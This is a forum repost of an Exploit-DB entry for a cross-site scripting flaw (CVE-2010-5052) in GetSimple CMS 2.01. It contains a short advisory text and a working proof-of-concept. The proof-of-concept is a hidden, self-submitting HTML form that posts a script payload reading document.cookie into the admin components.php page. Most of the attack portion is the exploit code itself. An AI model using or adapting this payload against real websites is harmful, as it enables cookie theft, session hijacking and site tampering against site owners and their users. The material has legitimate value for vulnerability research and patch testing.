Exploit Getsimple CMS 2.01 - 'components.php' Cross-Site Scripting

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
34041
Проверка EDB
  1. Пройдено
Автор
HIGH-TECH BRIDGE SA
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2010-5052
Дата публикации
2010-05-24
Код:
source: https://www.securityfocus.com/bid/40374/info

GetSimple CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

GetSimple CMS 2.01 is vulnerable; prior versions may also be affected.

<form action="http://www.example.com/admin/components.php" method="post" name="main" accept-charset="utf-8" >
	<input type="hidden" name="submitted" value="Save Components" />
	<input name="val[]" type="hidden" value='Some text here..."><script>alert(document.cookie)</script>' />
	<input type="hidden" name="slug[]" value="sidebar" />
	<input type="hidden" name="title[]" value="Sidebar" />
	<input type="hidden" name="id[]" value="0" />
	<input type="hidden" name="val[]" value="Just Another GetSimple Website" />
	<input type="hidden" name="slug[]" value="tagline" />
	<input type="hidden" name="title[]" value="Tagline" />
	<input type="hidden" name="id[]" value="1" />
</form>
<script>
document.main.submit();
</script>
 
Источник
www.exploit-db.com

Похожие темы